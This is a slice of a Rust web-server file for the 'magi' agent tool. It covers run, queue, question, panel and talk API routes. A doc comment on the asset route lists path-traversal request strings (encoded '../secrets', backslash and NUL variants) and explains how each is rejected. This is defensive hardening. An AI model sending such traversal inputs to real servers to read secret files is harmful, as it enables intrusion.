2571        blocking(move || {
2572            let id = resolve_run(&ui.runs, &id)?;
2573            let state = read_run(&ui.runs, &id)?;
2574            Ok((id, state))
2575        })
2576        .await?
2577    };
2578    if !state.status.resumable() {
2579        return Err(ApiError::conflict(format!(
2580            "run {} is `{}`, and only a stalled or blocked run can be resumed",
2581            state.short(),
2582            status_word(state.status)
2583        )));
2584    }
2585    // Refused whenever the loop is running anything at all, not merely when
2586    // it is on this run: a manual resume racing a loop-driven run over the
2587    // same agent quota is the thing this guard exists to prevent, whether
2588    // the loop's own concurrency is one run or several.
2589    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2590        .into_iter()
2591        .next()
2592    {
2593        return Err(ApiError::conflict(format!(
2594            "the loop is running run {} right now; stop it first, or wait for \
2595             it to finish, before resuming a run by hand.",
2596            crate::run::short_of(&work.run)
2597        )));
2598    }
2599    let _resume = ui.begin_resume(&id)?;
2600
2601    // The same shape the list route returns, so the phone updates the card it
2602    // already has rather than learning a second schema for one button.
2603    let queued = RunSummary::of(
2604        &state,
2605        !ui.questions.open_for(&id).is_empty(),
2606        state.liveness(false),
2607    );
2608    let run = id.clone();
2609    tokio::spawn(async move {
2610        let _resume = _resume;
2611        match crate::graph::Runner::resume(&run) {
2612            Ok(mut runner) => {
2613                if let Err(e) = runner.execute().await {
2614                    tracing::warn!("resume of run {run} stopped: {e:#}");
2615                }
2616            }
2617            // The run's own record is what the phone reads; this line is for
2618            // the operator's terminal.
2619            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2620        }
2621    });
2622    Ok((StatusCode::ACCEPTED, Json(queued)))
2623}
2624
2625async fn run_report(
2626    State(ui): State<Arc<Ui>>,
2627    Path(id): Path<String>,
2628) -> ApiResult<impl IntoResponse> {
2629    let text = blocking(move || {
2630        let id = resolve_run(&ui.runs, &id)?;
2631        // Colour is off for the whole process, set once in `serve`. Rendering
2632        // is CPU work over the full state, which is the other reason this is
2633        // not on the executor.
2634        let state = read_run(&ui.runs, &id)?;
2635        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2636        let live = state.liveness(daemon_claims);
2637        Ok(format!(
2638            "{}{}",
2639            report::run(&state),
2640            report::active_seats(&state, live)
2641        ))
2642    })
2643    .await?;
2644    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2645}
2646
2647/// A task as the UI sees it.
2648///
2649/// The whole task, plus the two things the client would otherwise have to
2650/// reimplement: the human-readable source and the status string. Nothing is
2651/// removed - the phone shows `last_error` and the run history verbatim.
2652#[derive(Debug, Serialize)]
2653struct TaskView {
2654    #[serde(flatten)]
2655    task: Task,
2656    source_label: String,
2657    status_str: &'static str,
2658    /// The instruction, parsed as markdown, for the Queue card's "Full
2659    /// instruction" panel. `task.instruction` is unchanged and still carries
2660    /// the raw text.
2661    instruction_md: Vec<md::Node>,
2662    /// For a blocked task, what it waits on with each dependency's state, e.g.
2663    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
2664    /// recurses; empty for every other status.
2665    waits_on: Vec<String>,
2666    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
2667    /// behind - non-empty means nothing in the loop will ever run it.
2668    stuck_roots: Vec<String>,
2669}
2670
2671impl From<Task> for TaskView {
2672    fn from(task: Task) -> Self {
2673        Self {
2674            source_label: task.source.label(),
2675            status_str: task.status.as_str(),
2676            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2677            waits_on: Vec::new(),
2678            stuck_roots: Vec::new(),
2679            task,
2680        }
2681    }
2682}
2683
2684impl TaskView {
2685    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
2686        let waits_on = inv.waits_on(&task);
2687        let stuck_roots = inv
2688            .stuck_roots(&task)
2689            .iter()
2690            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
2691            .collect();
2692        Self {
2693            waits_on,
2694            stuck_roots,
2695            ..Self::from(task)
2696        }
2697    }
2698}
2699
2700/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
2701/// its absence, leaves the cache to decide.
2702#[derive(Debug, Default, Deserialize)]
2703#[serde(default)]
2704struct ReposQuery {
2705    refresh: u8,
2706}
2707
2708/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
2709/// listing `magi repos` prints at a terminal.
2710///
2711/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
2712/// so an edit to `magi.toml` takes effect without a restart, the same
2713/// reasoning [`config_for`] documents for the talk routes.
2714async fn repos_list(
2715    State(ui): State<Arc<Ui>>,
2716    Query(q): Query<ReposQuery>,
2717) -> ApiResult<Json<Vec<repos::Repo>>> {
2718    let refresh = q.refresh != 0;
2719    blocking(move || {
2720        let (cfg, _) = Config::discover(&ui.repo, None)?;
2721        Ok(Json(ui.repos_cache.list(
2722            &cfg.repos.roots,
2723            Duration::from_secs(cfg.repos.scan_ttl),
2724            refresh,
2725        )))
2726    })
2727    .await
2728}
2729
2730async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2731    blocking(move || {
2732        let tasks = ui.queue.list();
2733        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
2734        Ok(Json(
2735            tasks
2736                .into_iter()
2737                .map(|t| TaskView::with_inventory(t, &inv))
2738                .collect(),
2739        ))
2740    })
2741    .await
2742}
2743
2744/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
2745/// gives no reason - which must keep working, since not every hold has one.
2746#[derive(Debug, Default, Deserialize)]
2747#[serde(default, deny_unknown_fields)]
2748struct HoldBody {
2749    reason: Option<String>,
2750}
2751
2752async fn queue_hold(
2753    State(ui): State<Arc<Ui>>,
2754    Path(id): Path<String>,
2755    body: std::result::Result<Json<HoldBody>, JsonRejection>,
2756) -> ApiResult<Json<TaskView>> {
2757    // An absent body is the ordinary case - most holds are unexplained, and
2758    // that has to stay a one-tap action rather than a form. A body that is
2759    // present and malformed is still a bad request.
2760    let body = match body {
2761        Ok(Json(body)) => body,
2762        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2763        Err(e) => return Err(ApiError::bad_request(e.body_text())),
2764    };
2765    let reason = body.reason.filter(|r| !r.trim().is_empty());
2766    mutate(ui, id, move |t| {
2767        t.hold_manual(reason.clone());
2768        Ok(())
2769    })
2770    .await
2771}
2772
2773async fn queue_release(
2774    State(ui): State<Arc<Ui>>,
2775    Path(id): Path<String>,
2776) -> ApiResult<Json<TaskView>> {
2777    mutate(ui, id, |t| {
2778        t.release();
2779        Ok(())
2780    })
2781    .await
2782}
2783
2784/// The body of `POST /api/queue/{id}/priority`.
2785#[derive(Debug, Deserialize)]
2786#[serde(deny_unknown_fields)]
2787struct PriorityBody {
2788    priority: i32,
2789}
2790
2791/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
2792///
2793/// [`Task::set_priority`] is the one place the "not while running" rule is
2794/// stated; this route only carries the body to it and lets its `Err` become
2795/// the 4xx the card shows.
2796async fn queue_priority(
2797    State(ui): State<Arc<Ui>>,
2798    Path(id): Path<String>,
2799    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2800) -> ApiResult<Json<TaskView>> {
2801    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2802    mutate(ui, id, move |t| t.set_priority(body.priority)).await
2803}
2804
2805/// The body of `POST /api/queue/{id}/edit`.
2806#[derive(Debug, Deserialize)]
2807#[serde(deny_unknown_fields)]
2808struct EditBody {
2809    title: String,
2810    instruction: String,
2811}
2812
2813/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
2814/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
2815/// that refusal's message is what the sheet shows back.
2816async fn queue_edit(
2817    State(ui): State<Arc<Ui>>,
2818    Path(id): Path<String>,
2819    body: std::result::Result<Json<EditBody>, JsonRejection>,
2820) -> ApiResult<Json<TaskView>> {
2821    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2822    mutate(ui, id, move |t| {
2823        t.edit(body.title.clone(), body.instruction.clone())
2824    })
2825    .await
2826}
2827
2828/// `POST /api/queue/{id}/done` - close a task as finished without deleting
2829/// it, so the phone's other way to clear a task from the backlog does not
2830/// have to cost the run history, the attribution, and `created_at` the way
2831/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
2832/// can be marked done by hand, because this is for the run the loop never
2833/// saw land - a merge done by hand, or a gate that misreported - and that can
2834/// happen from any status the task was left in.
2835async fn queue_done(
2836    State(ui): State<Arc<Ui>>,
2837    Path(id): Path<String>,
2838) -> ApiResult<Json<TaskView>> {
2839    mutate(ui, id, |t| {
2840        t.succeed();
2841        Ok(())
2842    })
2843    .await
2844}
2845
2846/// `DELETE /api/queue/{id}`.
2847///
2848/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
2849/// names this task: a `running` status or an orphaned `.lock` left behind by a
2850/// killed daemon is a leftover, and treating either as authority made the
2851/// task undeletable from the phone for good. The associated runs, if any, are
2852/// kept: a run is self-contained history and not an appendage of the task.
2853async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2854    blocking(move || {
2855        let id = resolve_task(&ui.queue, &id)?;
2856        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2857        ui.queue
2858            .remove(&id, in_flight, &ui.questions)
2859            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2860        Ok(StatusCode::NO_CONTENT)
2861    })
2862    .await
2863}
2864
2865/// Read a task, change it, write it back, under the queue's own lock.
2866///
2867/// Taking the same claim a daemon takes is what makes hold, release,
2868/// priority, edit, and done safe to press while magi is running: without it
2869/// the daemon's next save would land on top of the operator's change and
2870/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
2871/// both do, for a running task - and that refusal becomes the 4xx the card
2872/// shows, same as any other domain rule.
2873async fn mutate(
2874    ui: Arc<Ui>,
2875    id: String,
2876    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2877) -> ApiResult<Json<TaskView>> {
2878    blocking(move || {
2879        let id = resolve_task(&ui.queue, &id)?;
2880        // `claim` fails when the lock file already exists, which is the
2881        // conflict the UI must report: the daemon owns that task's file for
2882        // as long as it is running it, and our write would be lost under its
2883        // next save. The message names the lock either way.
2884        let _claim = ui.queue.claim(&id).map_err(|e| {
2885            ApiError::conflict(format!(
2886                "{e:#} - a daemon is running this task, so it cannot be \
2887                 changed from here yet"
2888            ))
2889        })?;
2890        let mut task = ui.queue.get(&id)?;
2891        change(&mut task).map_err(ApiError::bad_request_from)?;
2892        ui.queue.put(&mut task)?;
2893        Ok(Json(TaskView::from(task)))
2894    })
2895    .await
2896}
2897
2898/// The change stream: one revision number per store, on connect and whenever
2899/// any of them moves.
2900///
2901/// The poll runs in one spawned task per client, which is affordable because
2902/// the work is a directory scan and a `stat` per file. It stops as soon as the
2903/// receiver is gone, so a phone that walks out of range costs nothing after
2904/// its next tick - there is no session and no cleanup to forget.
2905async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2906    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2907    tokio::spawn(async move {
2908        let mut ticker = tokio::time::interval(POLL);
2909        let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2910        loop {
2911            // The first tick completes immediately, which is what makes the
2912            // stream announce the current revisions on connect.
2913            ticker.tick().await;
2914            let state = Arc::clone(&ui);
2915            let revisions = tokio::task::spawn_blocking(move || {
2916                (
2917                    state.queue.revision(),
2918                    runs_revision(&state.runs),
2919                    state.questions.revision(),
2920                    state.talks.revision(),
2921                    // The loop's counter is in-process state rather than a
2922                    // file, so nothing the three stats above look at would
2923                    // tell this phone that another one started the loop.
2924                    state.lock_loop().rev,
2925                )
2926            })
2927            .await;
2928            let Ok(revisions) = revisions else { break };
2929            if last == Some(revisions) {
2930                continue;
2931            }
2932            last = Some(revisions);
2933            let payload = serde_json::json!({
2934                "queue_rev": revisions.0,
2935                "runs_rev": revisions.1,
2936                "questions_rev": revisions.2,
2937                "talks_rev": revisions.3,
2938                "loop_rev": revisions.4,
2939            });
2940            // Serializing five integers cannot fail; giving up beats looping.
2941            let Ok(event) = Event::default().event("change").json_data(payload) else {
2942                break;
2943            };
2944            if tx.send(event).await.is_err() {
2945                break;
2946            }
2947        }
2948    });
2949    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2950        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2951}
2952
2953/// Change detection token for recorded runs under `runs`.
2954///
2955/// Combines the id and `run.json` modification time of each run, so adding,
2956/// updating, or deleting any run — even an older one — moves the revision and
2957/// notifies connected clients via the change stream. Returns 0 when no runs
2958/// exist.
2959fn runs_revision(runs: &FsPath) -> u64 {
2960    use std::hash::{Hash as _, Hasher as _};
2961
2962    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2963        .into_iter()
2964        .flatten()
2965        .flatten()
2966        .filter_map(|e| {
2967            let path = e.path().join("run.json");
2968            let mtime = path
2969                .metadata()
2970                .ok()?
2971                .modified()
2972                .ok()?
2973                .duration_since(std::time::UNIX_EPOCH)
2974                .ok()?
2975                .as_millis() as u64;
2976            let id = e.file_name().to_string_lossy().into_owned();
2977            Some((id, mtime))
2978        })
2979        .collect();
2980
2981    if entries.is_empty() {
2982        return 0;
2983    }
2984
2985    entries.sort_unstable();
2986    let mut hasher = std::hash::DefaultHasher::new();
2987    for (id, mtime) in &entries {
2988        id.hash(&mut hasher);
2989        mtime.hash(&mut hasher);
2990    }
2991    let h = hasher.finish();
2992    if h == 0 { 1 } else { h }
2993}
2994
2995/// Run ids under `runs`, newest first.
2996///
2997/// Rooted at an explicit directory rather than calling [`run::list_ids`],
2998/// which reads the process-global home: the server has to be drivable against
2999/// a temp directory for any of this to be testable.
3000fn run_ids(runs: &FsPath) -> Vec<String> {
3001    let mut ids: Vec<String> = std::fs::read_dir(runs)
3002        .into_iter()
3003        .flatten()
3004        .flatten()
3005        .filter(|e| e.path().join("run.json").is_file())
3006        .map(|e| e.file_name().to_string_lossy().into_owned())
3007        .collect();
3008    // Ids start with a sortable timestamp.
3009    ids.sort_unstable_by(|a, b| b.cmp(a));
3010    ids
3011}
3012
3013/// Read one run's state from an explicit runs root.
3014fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
3015    let path = runs.join(id).join("run.json");
3016    let body =
3017        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
3018    let state: RunState =
3019        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
3020    if state.schema != run::SCHEMA {
3021        anyhow::bail!(
3022            "run {} was written by a different magi (schema {}, this build speaks {})",
3023            state.id,
3024            state.schema,
3025            run::SCHEMA
3026        );
3027    }
3028    Ok(state)
3029}
3030
3031/// Runs on disk under `runs` whose state this build cannot parse - almost
3032/// always a schema bump, occasionally a run killed mid-write.
3033///
3034/// Exposed so every surface that reports on runs shares one count instead of
3035/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
3036/// `magi doctor` calls this directly rather than guessing at the same number
3037/// a second way.
3038#[must_use]
3039pub fn runs_unreadable(runs: &FsPath) -> usize {
3040    run_ids(runs)
3041        .into_iter()
3042        .filter(|id| read_run(runs, id).is_err())
3043        .count()
3044}
3045
3046/// Expand an id or short id to exactly one run id.
3047fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
3048    if runs.join(id).join("run.json").is_file() {
3049        return Ok(id.to_owned());
3050    }
3051    pick(run_ids(runs), id, "run")
3052}
3053
3054/// Expand an id or short id to exactly one task id.
3055fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
3056    if queue.path_of(id).is_file() {
3057        return Ok(id.to_owned());
3058    }
3059    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
3060}
3061
3062/// A question as the phone reads it.
3063///
3064/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
3065/// text already parsed into a node tree so the client never runs its own
3066/// markdown reader over agent-authored prose. A relative image path in it
3067/// resolves against this question's own panel asset route, which is the one
3068/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
3069/// separate, sandboxed document, but `detail` is rendered inline in the
3070/// operator's own page, so an image reference in it may only ever point at
3071/// files magi itself already serves for this question.
3072#[derive(Debug, Serialize)]
3073struct QuestionView {
3074    #[serde(flatten)]
3075    question: Question,
3076    detail_md: Vec<md::Node>,
3077    /// Is the ball in the agent's court right now?
3078    ///
3079    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
3080    /// [`Question::say`] - so this is the one field that tells the phone to
3081    /// disable the answer controls and show "waiting for the agent" instead of
3082    /// a card the owner can act on. Computed rather than stored on
3083    /// [`Question`] itself, on the same reasoning as `waiting` on
3084    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
3085    /// it here means the client never has to re-derive that rule.
3086    waiting_on_agent: bool,
3087}
3088
3089impl From<Question> for QuestionView {
3090    fn from(question: Question) -> Self {
3091        let base = md::ImageBase::QuestionPanel {
3092            id: question.id.clone(),
3093        };
3094        Self {
3095            detail_md: md::to_nodes(&question.detail, &base),
3096            waiting_on_agent: question.waiting_on_agent(),
3097            question,
3098        }
3099    }
3100}
3101
3102/// `GET /api/questions`.
3103///
3104/// Everything, not just the open ones: an answered question is the record of a
3105/// decision, and the phone is where the operator goes back to check what they
3106/// told an agent at 3am. `ask::Questions::list` already ranks open first.
3107async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3108    blocking(move || {
3109        Ok(Json(
3110            ui.questions
3111                .list()
3112                .into_iter()
3113                .map(QuestionView::from)
3114                .collect(),
3115        ))
3116    })
3117    .await
3118}
3119
3120/// The body of `POST /api/questions/{id}/answer`.
3121///
3122/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
3123/// a bad request rather than a guess: an answer magi invented is worse than a
3124/// question left open.
3125#[derive(Debug, Default, Deserialize)]
3126#[serde(default, deny_unknown_fields)]
3127struct NewAnswer {
3128    choice: Option<String>,
3129    text: Option<String>,
3130}
3131
3132async fn question_answer(
3133    State(ui): State<Arc<Ui>>,
3134    Path(id): Path<String>,
3135    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3136) -> ApiResult<Json<QuestionView>> {
3137    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3138    let answer = match (body.choice, body.text) {
3139        (Some(c), None) => Answer::Choice(c),
3140        (None, Some(t)) => Answer::Text(t),
3141        (Some(_), Some(_)) => {
3142            return Err(ApiError::bad_request(
3143                "send either `choice` or `text`, not both",
3144            ));
3145        }
3146        (None, None) => {
3147            return Err(ApiError::bad_request("send a `choice` or a `text`"));
3148        }
3149    };
3150
3151    blocking(move || {
3152        let id = resolve_question(&ui.questions, &id)?;
3153        let mut q = ui
3154            .questions
3155            .get(&id)
3156            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3157        if !q.status.open() {
3158            // Answered from the terminal, or by another phone, in between the
3159            // list and the tap. The UI shows the recorded answer rather than an
3160            // error, so it needs the record, not just the status.
3161            return Err(ApiError::conflict(format!(
3162                "question {} is already {}",
3163                q.short(),
3164                q.status.as_str()
3165            )));
3166        }
3167        // `Question::answer` owns the rules - an unoffered choice, free text on
3168        // a multiple-choice question, an empty reply - so the route does not
3169        // restate them and cannot drift from the CLI's behaviour.
3170        q.answer(answer).map_err(ApiError::bad_request_from)?;
3171        ui.questions.put(&mut q)?;
3172        Ok(Json(QuestionView::from(q)))
3173    })
3174    .await
3175}
3176
3177/// The body of `POST /api/questions/{id}/say`.
3178#[derive(Debug, Deserialize)]
3179#[serde(deny_unknown_fields)]
3180struct NewSay {
3181    body: String,
3182}
3183
3184/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
3185///
3186/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
3187/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
3188/// file, so there is no turn to serialize against and no
3189/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
3190/// is a *different* process - the run parked behind `magi ask` - and picks
3191/// the reply up on its own poll of the very same file, same as an answer
3192/// does.
3193async fn question_say(
3194    State(ui): State<Arc<Ui>>,
3195    Path(id): Path<String>,
3196    body: std::result::Result<Json<NewSay>, JsonRejection>,
3197) -> ApiResult<Json<QuestionView>> {
3198    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3199    blocking(move || {
3200        let id = resolve_question(&ui.questions, &id)?;
3201        let mut q = ui
3202            .questions
3203            .get(&id)
3204            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3205        if !q.status.open() {
3206            // Same granularity as `question_answer`: answered or abandoned in
3207            // between the list and the tap is not this route's error to
3208            // explain any differently.
3209            return Err(ApiError::conflict(format!(
3210                "question {} is already {}",
3211                q.short(),
3212                q.status.as_str()
3213            )));
3214        }
3215        // `Question::say` owns the one rule that matters here - an empty
3216        // message tells the agent nothing - so the route does not restate it.
3217        q.say(body.body).map_err(ApiError::bad_request_from)?;
3218        ui.questions.put(&mut q)?;
3219        Ok(Json(QuestionView::from(q)))
3220    })
3221    .await
3222}
3223
3224/// Expand an id or short id to exactly one question id.
3225fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3226    if store.path_of(id).is_file() {
3227        return Ok(id.to_owned());
3228    }
3229    pick(
3230        store.list().into_iter().map(|q| q.id).collect(),
3231        id,
3232        "question",
3233    )
3234}
3235
3236/// `GET /api/questions/{id}/panel`.
3237///
3238/// The panel an agent wrote for this question, as `text/html` under
3239/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
3240/// A question without one is a 404 rather than an empty page: the client
3241/// preflights this route with `HEAD` and must be able to tell "no panel" from
3242/// "a panel that rendered blank", and a sandboxed frame is opaque to the
3243/// parent document so it cannot tell the difference by looking.
3244///
3245/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
3246/// sanitises or minifies it - a sanitiser is a list of things someone thought
3247/// of, and the sandbox plus the CSP is a list of things that are allowed, which
3248/// is the direction that stays safe when an agent writes markup nobody
3249/// predicted.
3250async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3251    blocking(move || {
3252        let id = resolve_question(&ui.questions, &id)?;
3253        let Some(html) = ui.questions.panel_html(&id) else {
3254            return Err(ApiError::not_found(format!("question {id} has no panel")));
3255        };
3256        Ok(panel_response(
3257            "text/html; charset=utf-8",
3258            false,
3259            html.into_bytes(),
3260        ))
3261    })
3262    .await
3263}
3264
3265/// `GET /api/questions/{id}/asset/{name}`.
3266///
3267/// One file from the question's own panel directory, so a panel can show a
3268/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
3269/// having to allow anything off this machine.
3270///
3271/// This is the only route in the server where a client names a file, so it is
3272/// the only one with a traversal surface, and the name is checked by
3273/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
3274/// what is worth being explicit about, because the answer is not "all of it in
3275/// one place":
3276///
3277/// * `asset/../../secrets` never reaches this handler at all. axum matches on
3278///   the raw request path and `{name}` spans exactly one segment, so a real
3279///   slash makes the request too long for the route and the router answers 404.
3280/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
3281///   percent-decodes path parameters, so `name` arrives as `../secrets` and
3282///   `..\secrets` respectively, which look like plain filenames to the router.
3283///   The validator refuses them here - both for the literal `..` and because
3284///   `/` and `\` are not in the permitted character set - and answers 400.
3285/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
3286///   the platform's path API is not, and it is refused here for the same
3287///   reason: NUL is not a permitted character.
3288/// * [`Questions::panel_asset`] validates again on read, so the check is not
3289///   load-bearing in only one place. This route's own check exists so the
3290///   failure is a 400 that says which name was wrong, rather than a store error
3291///   the operator has to interpret.
3292async fn question_asset(
3293    State(ui): State<Arc<Ui>>,
3294    Path((id, name)): Path<(String, String)>,
3295) -> ApiResult<Response> {
3296    // Before any filesystem work and before any path is built: a name this
3297    // server will not serve should not become a `PathBuf` at all.
3298    if !crate::ask::valid_asset_name(&name) {
3299        return Err(ApiError::bad_request(format!(
3300            "`{name}` is not a usable asset name"
3301        )));
3302    }
3303    blocking(move || {
3304        let id = resolve_question(&ui.questions, &id)?;
3305        let asset = ui
3306            .questions
3307            .panel_asset(&id, &name)
3308            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3309        let Some(bytes) = asset else {
3310            return Err(ApiError::not_found(format!(
3311                "question {id} has no asset `{name}`"
3312            )));
3313        };
3314        Ok(panel_response(
3315            asset_content_type(&name),
3316            is_svg(&name),
3317            bytes,
3318        ))
3319    })
3320    .await
3321}
3322
3323/// Content type for a panel asset, from a closed whitelist.
3324///
3325/// A whitelist with an `application/octet-stream` fallback rather than a
3326/// guess, because the one answer that must never come out of here is
3327/// `text/html`. An agent that writes `notes.html` into its panel directory and
3328/// links it would otherwise get its own markup rendered at the top level of the
3329/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
3330/// magi's origin - which is precisely the thing the panel design exists to
3331/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
3332///
3333/// `nosniff` accompanies this on every response, so a browser cannot decide it
3334/// knows better than the type we sent.
3335fn asset_content_type(name: &str) -> &'static str {
3336    match extension(name).as_deref() {
3337        Some("png") => "image/png",
3338        Some("jpg" | "jpeg") => "image/jpeg",
3339        Some("gif") => "image/gif",
3340        Some("webp") => "image/webp",
3341        Some("svg") => "image/svg+xml",
3342        Some("css") => "text/css; charset=utf-8",
3343        Some("txt") => "text/plain; charset=utf-8",
3344        _ => "application/octet-stream",
3345    }
3346}
3347
3348/// Is this an SVG, and therefore a file that must never be opened at the top
3349/// level?
3350fn is_svg(name: &str) -> bool {
3351    extension(name).as_deref() == Some("svg")
3352}
3353
3354/// Lowercased extension, or `None` for a name without one.
3355fn extension(name: &str) -> Option<String> {
3356    name.rsplit_once('.')
3357        .map(|(_, ext)| ext.to_ascii_lowercase())
3358}
3359
3360/// Every panel response, with the four headers that make it safe and, for an
3361/// SVG, a fifth.
3362///
3363/// One function rather than a header list per handler, because a panel route
3364/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
3365/// model gone, silently, on one of two routes. Adding a third panel route later
3366/// means calling this, and there is nowhere else to build a panel response.
3367///
3368/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
3369/// as an `<img src>` inside the panel that script cannot run - but the asset
3370/// URL is also a plain URL an operator can be talked into opening in a tab,
3371/// where it is a document on magi's own origin. `Content-Disposition:
3372/// attachment` makes the browser download it instead of rendering it, which
3373/// closes that door without taking away the ability to draw a diff. Raster
3374/// images have no such execution surface and are left inline, so tapping a
3375/// screenshot still shows it.
3376fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3377    let mut res = (
3378        [
3379            (header::CONTENT_TYPE, content_type),
3380            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3381            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3382            (header::REFERRER_POLICY, "no-referrer"),
3383        ],
3384        body,
3385    )
3386        .into_response();
3387    if download {
3388        res.headers_mut().insert(
3389            header::CONTENT_DISPOSITION,
3390            HeaderValue::from_static("attachment"),
3391        );
3392    }
3393    res
3394}
3395
3396/// A talk as the phone reads it.
3397///
3398/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
3399/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
3400/// parses markdown itself - and the process-local `thinking` hint.
3401#[derive(Debug, Serialize)]
3402struct TalkView {
3403    #[serde(flatten)]
3404    talk: Talk,
3405    turn_bodies_md: Vec<Vec<md::Node>>,
3406    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
3407    /// this server process.
3408    ///
3409    /// This is deliberately not durable: another server process cannot see
3410    /// it, and a restarted server must not claim an old turn is live. It is a
3411    /// progress hint rather than proof a reply landed; the transcript remains
3412    /// the source of truth for that.
3413    thinking: bool,
3414}
3415
3416impl TalkView {
3417    fn new(talk: Talk, thinking: bool) -> Self {
3418        let turn_bodies_md = talk
3419            .turns
3420            .iter()
3421            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3422            .collect();
3423        Self {
3424            turn_bodies_md,
3425            thinking,
3426            talk,
3427        }
3428    }
3429}
3430
3431/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
3432/// conversation has filed, so the phone can follow one from inside the
3433/// conversation that asked for it rather than hunting the Queue for a task id
3434/// it may not remember.
3435#[derive(Debug, Serialize)]
3436struct TalkDetailView {
3437    #[serde(flatten)]
3438    view: TalkView,
3439    tasks: Vec<TaskView>,
3440}
3441
3442/// `GET /api/talks`.
3443///
3444/// Every conversation, open ones first and newest first - [`Talks::list`]'s
3445/// own order.
3446async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3447    blocking(move || {
3448        Ok(Json(
3449            ui.talks
3450                .list()
3451                .into_iter()
3452                .map(|talk| {
3453                    let thinking = ui.is_thinking(&talk.id);
3454                    TalkView::new(talk, thinking)
3455                })
3456                .collect(),
3457        ))
3458    })
3459    .await
3460}
3461
3462/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
3463/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
3464/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
3465/// end still opens a talk against an older binary.
3466#[derive(Debug, Default, Deserialize)]
3467#[serde(default)]
3468struct NewTalk {
3469    agent: Option<String>,
